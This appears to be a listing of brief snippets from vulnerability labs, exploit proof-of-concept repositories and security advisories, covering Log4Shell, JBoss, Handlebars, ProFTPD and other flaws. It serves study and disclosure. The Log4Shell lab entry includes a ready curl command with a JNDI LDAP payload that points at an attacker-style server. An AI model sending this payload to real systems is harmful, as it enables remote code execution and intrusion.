log4j-vul

log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...

jboss-deserialization

JBoss Insecure Deserialization to RCE via CVE-2017-12149. JBoss Insecure Deserialization - RCE Exploitation Lab. The idea here is to setup a lab with an old JBoss version 7.0 in order to exploit the vulnerability. We can use Docker to facilitate all the process. For this, we're gonna need an Orac...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab Vulnerability Description Spring Cloud Gateway has a SpEL expression injection vulnerability. When the Actuator endpoint is enabled, an attacker can achieve remote code execution RCE. How to Start docker-compose up -d Reproduction 1. Access...

CVE-2025-5548

🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 Buffer Overflow Professional research and exploit development for a classic stack-based buffer overflow in FreeFloat FTP Server 1.0. This laboratory demonstrates the transition from binary reversing to a fully functional RCE. 📖 Executive Summary This...

log4shell_lab

log4shell exploit lab This repository is a single-line setup for log4shell exploit lab. Setup the lab: docker-compose up -d Run exploit: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" Then go to vul container and see that indeed we pwned the machine: Video...

RLSA-2026:76755 Important: freerdp security update

FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released under the Apache license. The xfreerdp client can connect to RDP servers such as Microsoft Windows machines, xrdp, and VirtualBox. Security Fixes: FreeRDP: FreeRDP: Denial of Service via crafted Surface Bits command...

freerdp security update

An update is available for freerdp. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list FreeRDP is a free implementation of the Remote Desktop Protocol RDP, released...

EUVD-2026-93969

Handlebars: JavaScript Injection via AST Type Confusion in compile bypass of CVE-2026-33937...

GHSA-P8WG-VRV2-V86F Handlebars: JavaScript Injection via Own Property Check Bypass

Summary Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: tr...

Handlebars: JavaScript Injection via Own Property Check Bypass

Summary Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: tr...

Prototype Pollution

Overview msgpack5 is an A msgpack v5 implementation for node.js and the browser, with extension points Affected versions of this package are vulnerable to Prototype Pollution via the msgpack initializer function in index.js when a caller passes an options object. The original code used options =...

CVE-2026-22444

CVE-2026-22444 Apache Solr UNC Path Validation Vulnerability Overview This vulnerability was discovered and disclosed to Apache in 2025. It affects Apache Solr's core creation functionality, where network access to UNC paths occurs before path validation checks are performed. On Windows systems...

CVE-2026-20841-PoC

CVE-2026-20841 - Windows Notepad App Remote Code Execution Vulnerability Vulnerability Overview Field| Detail ---|--- CVE ID| CVE-2026-20841 Title| Windows Notepad App Remote Code Execution Vulnerability Impact| Remote Code Execution Max Severity| Important CVSS v3.1 Base / Temporal| 8.8 / 7.7 CV...

cve-2026-33937

CVE-2026-33937 - Handlebars RCE Exploit PoC Description CVE-2026-33937 is a critical Remote Code Execution RCE vulnerability in Handlebars caused by unsafe handling of Abstract Syntax Tree AST input. The vulnerability allows attackers to inject arbitrary JavaScript code by supplying a crafted AST...

cve-2026-33937

CVE-2026-33937 - Exploit PoC per RCE in Handlebars Descrizione CVE-2026-33937 è una vulnerabilità critica di Remote Code Execution RCE in Handlebars causata dalla gestione non sicura dell'input dell'Abstract Syntax Tree AST. La vulnerabilità consente agli attaccanti di iniettare codice JavaScript...

Ashwesker-CVE-2026-20045

🚨 CVE-2026-20045 — Zero-Day Breakdown 🚨 🧨 What it is A critical remote code execution RCE vulnerability affecting multiple Cisco Unified Communications products. It was actively exploited in the wild before patches were released. 🔥 Why it’s dangerous 🚫 No authentication required 🖥️ Remote code...

CVE-2026-26720-Twenty-RCE

Twenty CRM - Authenticated Remote Code Execution RCE Overview Product: Twenty CRM Vulnerability: Remote Code Execution RCE via Serverless Workflow Functions Severity: Critical Affected Component: Workflow Automation Code - Serverless Function Tested Version: v1.15.0 This repository documents a...

0vercl0k

0vercl0k PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys...

proftpd-CVE-2026-42167-analysis

CVE-2026-42167 — ProFTPD modsql SQL Injection / Auth Bypass / RCE Independent reproduction, code-level root-cause walkthrough, and a frank exposure analysis for CVE-2026-42167 — the isescapedtext bypass in ProFTPD's modsql logging pipeline disclosed by ZeroPath Research and fixed in ProFTPD 1.3.9...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache = 2.4.4 Unauthenticated Arbitrary File Upload to RCE Overview Field| Value ---|--- CVE| CVE-2026-3844 CVSS| 9.8 Critical CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE| CWE-434 — Unrestricted Upload of File with Dangerous Type Plugin| Breeze Cache by Cloudways...